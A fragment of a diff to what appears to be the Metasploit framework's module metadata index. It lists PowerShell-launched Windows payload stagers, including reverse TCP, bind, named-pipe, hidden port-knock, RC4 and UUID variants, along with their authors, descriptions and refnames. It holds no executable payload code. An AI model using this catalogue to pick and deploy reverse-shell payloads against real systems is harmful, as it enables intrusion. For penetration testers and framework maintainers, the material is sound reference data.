"payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", "aliases": [ ], @@ -181362,13 +200146,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "robert " + "skape ", + "jt ", + "hdm ", + "sf ", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], - "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, @@ -181377,18 +200165,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/generic/debug_trap", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/generic/tight_loop": { - "name": "Powershell Exec, Generic x86 Tight Loop", - "fullname": "payload/cmd/windows/powershell/generic/tight_loop", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -181397,13 +200191,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jduck " + "skape ", + "jt ", + "hdm ", + "sf ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], - "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, @@ -181412,18 +200211,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/generic/tight_loop", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/loadlibrary": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/loadlibrary", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", "aliases": [ ], @@ -181432,10 +200237,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", "sf ", - "hdm " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181448,18 +200257,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/loadlibrary", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, - "payload_cmd/windows/powershell/messagebox": { - "name": "Powershell Exec, Windows MessageBox", - "fullname": "payload/cmd/windows/powershell/messagebox", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -181468,10 +200283,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r ", - "jduck " + "skape ", + "jt ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -181484,18 +200301,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/messagebox", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { + "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -181504,16 +200327,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181524,18 +200346,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, - "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { + "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", "aliases": [ ], @@ -181544,16 +200372,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181564,18 +200391,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_tcp" }, - "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { + "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -181584,15 +200417,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "hdm " + "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181603,18 +200435,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { + "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -181623,15 +200461,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm " + "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181642,18 +200480,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { + "payload_cmd/windows/powershell/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", + "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", "aliases": [ ], @@ -181662,15 +200506,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", + "ege ", "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181681,18 +200522,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_named_pipe", + "ref_name": "cmd/windows/powershell/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_named_pipe" }, - "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { + "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", "aliases": [ ], @@ -181701,15 +200548,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", + "ege ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181720,18 +200564,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp": { + "payload_cmd/windows/powershell/peinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", "aliases": [ ], @@ -181740,15 +200590,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "hdm " + "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181759,18 +200608,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp" }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { + "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", "aliases": [ ], @@ -181779,17 +200634,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181800,18 +200654,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { + "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", "aliases": [ ], @@ -181820,15 +200680,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "hdm ", + "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181839,18 +200697,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/meterpreter/find_tag": { + "payload_cmd/windows/powershell/peinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", + "fullname": "payload/cmd/windows/powershell/peinject/find_tag", "aliases": [ ], @@ -181859,14 +200723,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "ege ", + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181877,18 +200739,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/find_tag", + "ref_name": "cmd/windows/powershell/peinject/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/find_tag", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http", + "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", "aliases": [ ], @@ -181897,17 +200765,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "scriptjunkie ", - "bannedit ", - "hdm " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181918,18 +200783,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http", + "ref_name": "cmd/windows/powershell/peinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/meterpreter/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", + "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { + "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", "aliases": [ ], @@ -181938,15 +200809,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181957,18 +200825,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_http", + "ref_name": "cmd/windows/powershell/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_named_pipe" }, - "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", "aliases": [ ], @@ -181977,15 +200851,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181996,18 +200867,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/peinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/meterpreter/reverse_https": { - "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", + "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", "aliases": [ ], @@ -182016,15 +200893,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182035,18 +200909,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_https", + "ref_name": "cmd/windows/powershell/peinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { - "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy", + "payload_cmd/windows/powershell/peinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", "aliases": [ ], @@ -182055,17 +200935,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", + "ege ", "hdm ", - "corelanc0d3r ", - "amaloteaux " + "skape ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182076,18 +200953,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp" }, - "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", "aliases": [ ], @@ -182096,15 +200979,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "hdm " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182115,18 +200997,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { - "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", + 